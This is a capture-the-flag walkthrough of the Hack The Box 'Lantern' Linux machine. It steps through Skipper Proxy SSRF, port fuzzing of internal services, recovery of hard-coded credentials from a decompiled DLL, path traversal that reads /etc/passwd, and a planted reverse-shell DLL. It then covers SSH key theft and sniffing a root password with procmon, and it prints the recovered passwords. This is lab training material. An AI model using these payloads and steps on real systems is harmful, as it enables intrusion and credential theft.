> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-03-27

Hack The Box — Lantern (Linux)

Skipper Proxy SSRF to reach an internal Blazor app, credential recovery from decompiled DLLs, file write abuse to plant a malicious DLL, SSH pivot as tomas, and root escalation with procmon.

Target

  • IP: 10.129.70.105

Recon

sudo nmap -sC -sV 10.129.70.105 -p- -v -T5
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp    open     http           Skipper Proxy
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Content-Length: 207
|     Content-Type: text/html; charset=utf-8
|     Date: Sun, 18 Aug 2024 08:30:16 GMT
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Length: 225
|     Content-Type: text/html; charset=utf-8
|     Date: Sun, 18 Aug 2024 08:30:11 GMT
|     Location: http://lantern.htb/
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Sun, 18 Aug 2024 08:30:11 GMT
|_    Server: Skipper Proxy
3000/tcp  open     ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
|     Date: Sun, 18 Aug 2024 08:30:15 GMT
|     Server: Kestrel
|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
|     System.Uri..ctor(String uriString, UriKind uriKind)
|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 18 Aug 2024 08:30:20 GMT
|     Server: Kestrel
|   Help:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 18 Aug 2024 08:30:15 GMT
|     Server: Kestrel
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 18 Aug 2024 08:30:21 GMT
|     Server: Kestrel
|   SSLSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 18 Aug 2024 08:30:36 GMT
|_    Server: Kestrel
3566/tcp  filtered quest-data-hub
6960/tcp  filtered unknown
7541/tcp  filtered unknown
18465/tcp filtered unknown
20098/tcp filtered unknown
21530/tcp filtered unknown
21881/tcp filtered unknown
27445/tcp filtered unknown
28058/tcp filtered unknown
28211/tcp filtered unknown
36405/tcp filtered unknown
38997/tcp filtered unknown
45540/tcp filtered unknown
46873/tcp filtered unknown
49097/tcp filtered unknown
49550/tcp filtered unknown
52029/tcp filtered unknown
55611/tcp filtered unknown
56659/tcp filtered unknown
60617/tcp filtered unknown
65073/tcp filtered unknown

Add lantern.htb to /etc/hosts.

Go to http://lantern.htb/vacancies. There is a form where we can submit a PDF. Intercept the request with Burp. A POST request is sent to /submit.

Go to http://lantern.htb:3000/login. There is a login form. From response headers, we can see it is a server built with Kestrel.

Go to http://lantern.htb. From the Server header, we can see it is Skipper Proxy. There is a vulnerability:

  • https://www.exploit-db.com/exploits/51111
python3 -m http.server 80
curl -X GET 'http://lantern.htb/' -H 'X-Skipper-Proxy: http://10.10.14.82'

We receive a GET request.

SSRF to internal services

We can exploit SSRF to find localhost open ports.

ffuf -u 'http://lantern.htb/' -H 'X-Skipper-Proxy: http://127.0.0.1:FUZZ' -w /home/kali/SecLists/Discovery/Infrastructure/common-http-ports.txt -t 50
5000                    [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 78ms]
3000                    [Status: 200, Size: 2847, Words: 334, Lines: 58, Duration: 95ms]
80                      [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 75ms]
8000                    [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 57ms]
curl -X GET 'http://lantern.htb/' -H 'X-Skipper-Proxy: http://127.0.0.1:5000/'

We notice:

  • <title>InternaLantern</title>

We also discover it is a Blazor site. We notice the .NET version is 6.

We can create middleware to access the internal site. See the script in attachments:

  • attachments/middleware.py
python3 attachments/middleware.py

Go to http://localhost:8000. Open DevTools (F12) and the Network tab. We can see many DLLs are downloaded, including InternaLantern.dll. Download it. Use a Windows VM and open the DLL in dnSpy.

We notice there is a Data.db file. We also notice these lines:

new Employee
    {
        Uid = "POMBS",
        Name = "Travis",
        SecondName = "Duarte",
        BirthDay = new DateTime(1999, 7, 23).ToShortDateString(),
        JoinDate = new DateTime(2024, 1, 21).ToShortDateString(),
        Salary = 90000,
        InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="))
                        }

If we decode that Base64 string, we get:

System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!

Log in to http://lantern.htb:3000/ with those credentials.

LFI in app.py

On the files page, we can see contents of /var/www/sites/lantern.htb. There is app.py (source code of the site on port 80).

We notice:

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
            return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
    except:
            return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

There is a directory traversal.

http://lantern.htb/PrivacyAndPolicy?lang=../../../.&ext=/etc/passwd

We notice user tomas.

If we search for a non-existent module through the search function, we get:

An error occurred: Could not load file or assembly '/opt/components/mydll.dll'. The system cannot find the file specified.

We know there is a DLL called Logs. We can download it:

http://lantern.htb/PrivacyAndPolicy?lang=../../../.&ext=/opt/components/Logs.dll

Open it in dnSpy. We can view the DLL functions. We can craft a malicious DLL and make the server load it.

Start a listener:

nc -vlnp 4444

Malicious DLL upload

mkdir mysln
cd mysln
dotnet new sln

A file mysln.sln is created.

dotnet new console -o MyApp

A folder MyApp is created.

dotnet sln mysln.sln add MyApp

Verify that MyApp/MyApp.csproj contains:

<TargetFramework>net6.0</TargetFramework>
cd MyApp
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
cd ..

Generate a C# TCP reverse shell from revshells.com. See the final payload file in attachments:

  • attachments/Program.cs
dotnet build -c Release

We get:

  • mysln/MyApp/bin/Release/net6.0/MyApp.dll

Install the Burp extension Blazor Traffic Processor. Go to http://lantern.htb:3000, log in, and go to upload content. Uploaded files are saved in /var/www/sites/lantern.htb/static/images. Upload the DLL and intercept request with Burp.

In the request body we see, for example:

¸•€À·BeginInvokeDotNetFromJS•¡2À¬NotifyChangeو[[{"id":1,"lastModified":"2024-08-20T12:36:50.375Z","name":"MyApp.dll","size":6656,"contentType":"application/x-msdownload","blob":{}}]]

Right-click:

  • Extensions -> Blazor Traffic Processor -> Send body to BTP tab

In BTP tab, deserialize and modify name to:

../../../../../../opt/components/MyApp.dll

Re-serialize from JSON to Blazor. We get for example:

Ù•€À·BeginInvokeDotNetFromJS•¡2À¬NotifyChangeÙ©[[{"blob":{},"size":6656,"name":"../../../../../../opt/components/MyApp.dll","id":1,"lastModified":"2024-08-20T12:36:50.375Z","contentType":"application/x-msdownload"}]]

We get a reverse shell as user tomas.

SSH as tomas

cat .ssh/id_rsa

Copy it locally to tomas_key.

chmod 600 tomas_key
ssh -i tomas_key tomas@lantern.htb
sudo -l
Matching Defaults entries for tomas on lantern:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon
cat /var/spool/mail/tomas
From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!

Hi Tomas,

Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.

While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.

Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.

Exciting times ahead!

Best.
ps aux | grep automation
root       11909  0.0  0.1   7272  4064 pts/0    Ss+  14:10   0:00 nano /root/automation.sh
sudo procmon --help
procmon [OPTIONS...]
   OPTIONS
      -h/--help                Prints this help screen
      -p/--pids                Comma separated list of process ids to monitor
      -e/--events              Comma separated list of system calls to monitor
      -c/--collect [FILEPATH]  Option to start Procmon in a headless mode
      -f/--file FILEPATH
sudo procmon -p 11909 -e write

Some values appear in hexadecimal. Decoding them yields the root password:

  • Q3Eddtdw3pMB
su root

Enter the password found above. We get a root shell.